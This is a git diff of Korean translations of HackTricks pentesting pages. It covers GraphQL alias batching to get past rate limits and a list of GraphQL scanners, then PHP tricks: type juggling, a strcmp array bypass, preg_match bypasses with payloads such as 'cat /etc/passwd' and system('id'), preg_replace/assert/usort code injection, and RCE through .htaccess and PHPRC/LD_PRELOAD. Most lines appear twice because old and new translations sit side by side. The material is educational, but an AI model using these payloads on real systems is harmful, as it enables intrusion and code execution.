||||
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 참고하십시오: [별칭](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 **HTTP 요청의 수를 제한**하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청 내에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다.
|
||||
별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수를 제한**하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청 내에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다.
|
||||
|
||||
다음 예시를 고려해보면, 별칭 쿼리가 상점 할인 코드의 유효성을 확인하는 데 사용되는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 통합함으로써 속도 제한을 우회할 수 있을 수 있습니다.
|
||||
다음 예시를 고려해보면, 별칭 쿼리가 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 컴파일할 수 있기 때문에 속도 제한을 우회할 수 있을 것입니다.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
|
@ -472,12 +472,13 @@ valid
|
|||
### 취약점 스캐너
|
||||
|
||||
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL 엔드포인트의 일반적인 구성 오류를 테스트합니다.
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 GraphQL을 지문합니다.
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져와 민감한 데이터를 검색하고, 권한을 테스트하며, 스키마를 무력화하고, 특정 유형으로의 경로를 찾을 수 있는 도구입니다.
|
||||
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 일괄 GraphQL 쿼리 및 뮤테이션 수행에 중점을 둔 GraphQL 보안 감사 스크립트입니다.
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql을 지문합니다.
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져와 민감한 데이터를 검색하고 권한 부여를 테스트하며, 스키마를 무력화하고 주어진 유형으로의 경로를 찾을 수 있는 도구입니다.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립적으로 사용하거나 [Burp 확장 프로그램](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용할 수 있어 공격을 자동화할 수 있습니다.
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구입니다.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 내부 검사 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. _**Attacker**_ 구성 요소를 사용하면 일괄 GraphQL 공격을 실행할 수 있어 구현이 잘못된 속도 제한을 우회하는 데 유용합니다.
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용할 수 있어 공격을 자동화하는 데 유용합니다.
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 주어진 유형에 도달하는 다양한 방법을 나열하는 도구입니다.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 인트로스펙션 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. _**Attacker**_ 구성 요소를 사용하면 일괄 GraphQL 공격을 실행할 수 있어 잘못 구현된 속도 제한을 우회하는 데 유용합니다.
|
||||
|
||||
### 클라이언트
|
||||
|
||||
|
@ -506,10 +507,10 @@ valid
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 홍보하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 느슨한 비교/타입 강제 변환 ( == )
|
||||
|
||||
만약 PHP에서 `==`가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교하는 데이터의 유형도 동일한지 확인하려면 `===`를 사용해야 합니다.
|
||||
만약 PHP에서 `==`가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교된 데이터의 유형도 동일한지 확인하려면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -47,11 +47,11 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨)
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해싱된 문자열**을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열 내의 모든 문자는 정수 0과 동일합니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨).
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열 내의 어떤 문자도 정수 0과 동일합니다.
|
||||
|
||||
더 많은 정보: [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
|
@ -67,26 +67,26 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 이렇게 하면 이 확인을 우회할 수 있습니다:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### `strcasecmp()`에서도 동일한 오류가 발생합니다
|
||||
|
||||
### 엄격한 유형 변환
|
||||
|
||||
`===`를 사용하더라도 **유형 변환에 취약한 비교**가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우**:
|
||||
`strcasecmp()`에서도 동일한 오류가 발생합니다.
|
||||
|
||||
심지어 `===`를 사용하더라도 **유형 변환**에 취약한 **비교** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`**는 **사용자 입력을 유효성 검사하는 데 사용**될 수 있습니다 (사용자 입력에서 **블랙리스트**에 있는 **단어/정규식**이 **존재하는지 확인**하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
|
||||
**`preg_match()`**는 **사용자 입력을 유효성** 검사하는 데 사용될 수 있습니다 (사용자 입력에서 **블랙리스트**에 있는 **단어/정규식**이 **존재하는지 확인**하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
|
||||
|
||||
#### 새 줄 우회
|
||||
#### 새 줄 바이패스
|
||||
|
||||
그러나 정규식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**하므로, 사용자 입력을 **여러 줄로 보낼 수 있다면**, 이 검사를 우회할 수 있습니다. 예시:
|
||||
```php
|
||||
|
@ -101,18 +101,18 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
이 체크를 우회하려면 **새 줄로 인코딩된 값**(`%0A`)을 보낼 수 있거나 **JSON 데이터**를 보낼 수 있다면 **여러 줄에 나눠서** 보내세요:
|
||||
이 체크를 우회하려면 **새 줄로 구분된 값 url로 인코딩하여 전송**(`%0A`)하거나 **JSON 데이터**를 전송할 수 있다면 **여러 줄에 나눠서** 보내세요:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
예제를 찾을 수 있습니다: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **길이 오류 우회**
|
||||
|
||||
(이 우회는 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)\
|
||||
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 넣는 경우 다음과 같이 보낼 수 있습니다:
|
||||
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트하는 경우 다음과 같이 보낼 수 있습니다:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -122,13 +122,13 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서 발생하는 문제는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되는데, 이는 많은 스택 공간을 사용한다. 재귀 호출 횟수에 제한을 둘 수 있지만 PHP에서는 이 한계가 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않는다.
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서 발생하는 문제는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되는데, 이는 많은 스택 공간을 사용한다. 재귀 횟수에 대한 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않는다.
|
||||
|
||||
이 문제에 대해 더 자세히 설명된 [이 Stackoverflow 쓰레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 게시물에 링크되어 있습니다. 우리의 작업은 이제 명확해졌다:\
|
||||
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 유발시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하고, 페이로드 끝에 `{system(<verybadcommand>)}`과 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하는 것이다 :)**.
|
||||
|
||||
실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 `pcre.backtrack_limit` 변수의 기본값이 1,000,000(1백만)임을 명시하고 있다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낳을 것이다:
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 전진 및 50만 개의 후진)를 결과로 낳을 것이다:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -165,15 +165,15 @@ readfile($page);
|
|||
|
||||
## 더 많은 속임수
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우에, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있다면 **$param을 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스**하면 **해당 변수의 값을 path1에서 path2로 적용**할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 취할 것입니다 (path2에서 해당하는 이름의 쿠키를 제공함으로써).
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방될 수 있음). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있는 경우 **$param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스하는 경우** path1의 변수 값이 path2에 적용되도록 할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 취급합니다 (path2에 해당하는 이름의 쿠키를 제공함으로써).
|
||||
* 기계 사용자의 **사용자 이름**을 가지고 있는 경우. 주소를 확인하십시오: **/\~\<USERNAME>** PHP 디렉토리가 활성화되어 있는지 확인하십시오.
|
||||
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 비밀번호가 해시와 일치하는지 **확인**하는 데 사용됩니다.\
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**할 수 있음에 유의하십시오. 현재 **PASSWORD\_BCRYPT**는 입력의 크기에 제한이 있으며 72바이트보다 큰 것을 이 알고리즘으로 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비밀번호가 일치하는지 **확인**하는 데 사용됩니다.\
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하다는 점을 유의하십시오. 현재 **PASSWORD\_BCRYPT**는 **72바이트의 입력에 대한 크기 제한**이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -185,9 +185,9 @@ True
|
|||
|
||||
#### 헤더 설정 후 오류 발생
|
||||
|
||||
[**이 트위터 쓰레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 확인할 수 있듯이 1000개 이상의 GET 매개변수 또는 1000개 이상의 POST 매개변수 또는 20개 이상의 파일을 보내면, PHP는 응답에 헤더를 설정하지 않을 것입니다.
|
||||
[**이 트위터 쓰레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 매개변수 또는 1000개 이상의 POST 매개변수 또는 20개 이상의 파일을 보내면, PHOP는 응답에 헤더를 설정하지 않을 것임을 확인할 수 있습니다.
|
||||
|
||||
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있습니다.
|
||||
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있게 합니다:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -195,20 +195,28 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### 헤더를 설정하기 전에 본문을 채우기
|
||||
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 출력하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 출력하도록 만들어** 응답에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킬 수 있습니다.\
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 출력하도록 만들어** 응담에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킬 수 있습니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생**하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때** (예: CSP 헤더가 사용자에게 전송되지 않음):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
## PHP 함수에서의 SSRF
|
||||
|
||||
페이지를 확인하세요:
|
||||
|
||||
{% content-ref url="php-ssrf.md" %}
|
||||
[php-ssrf.md](php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 코드 실행
|
||||
|
||||
**system("ls");**\
|
||||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **preg\_replace()**를 통한 RCE
|
||||
### **preg\_replace()를 통한 RCE**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
|
@ -225,7 +233,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
### **Assert()를 통한 RCE**
|
||||
|
||||
php 내부의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경할 수 있음). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
|
||||
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻으려면 다음을 수행할 수 있습니다:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
|
@ -253,13 +261,13 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
### **코드의 나머지 부분을 주석 처리하는 또 다른 방법은 **//**를 사용할 수 있습니다.**
|
||||
### **코드의 나머지 부분을 주석 처리하는 데에도 **//**를 사용할 수 있습니다.
|
||||
|
||||
닫아야 하는 괄호의 수를 발견하려면:
|
||||
|
||||
- `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
- `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
|
||||
- `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 너무 많은 닫는 괄호가 있는 것 같습니다.
|
||||
* `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
* `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
|
||||
* `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 닫는 괄호가 너무 많은 것 같습니다.
|
||||
|
||||
### **.httaccess를 통한 RCE**
|
||||
|
||||
|
@ -267,22 +275,22 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
|
||||
|
||||
### **환경 변수를 통한 RCE**
|
||||
### Env 변수를 통한 RCE
|
||||
|
||||
PHP에서 **환경 변수를 수정**할 수 있는 취약점을 찾았다면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있지만, 더 많은 연구를 통해 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
PHP에서 **env 변수를 수정**할 수 있는 취약점을 발견하면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있으면, 더 많은 연구로 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).
|
||||
- **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, 그럼 `PHPRC`를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).
|
||||
* **`PHPRC`** : PHP에게 **구성 파일의 위치를 지시**합니다. 일반적으로 `php.ini`라고 불리는 파일입니다. 자체 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP를 가리키도록 합니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
|
||||
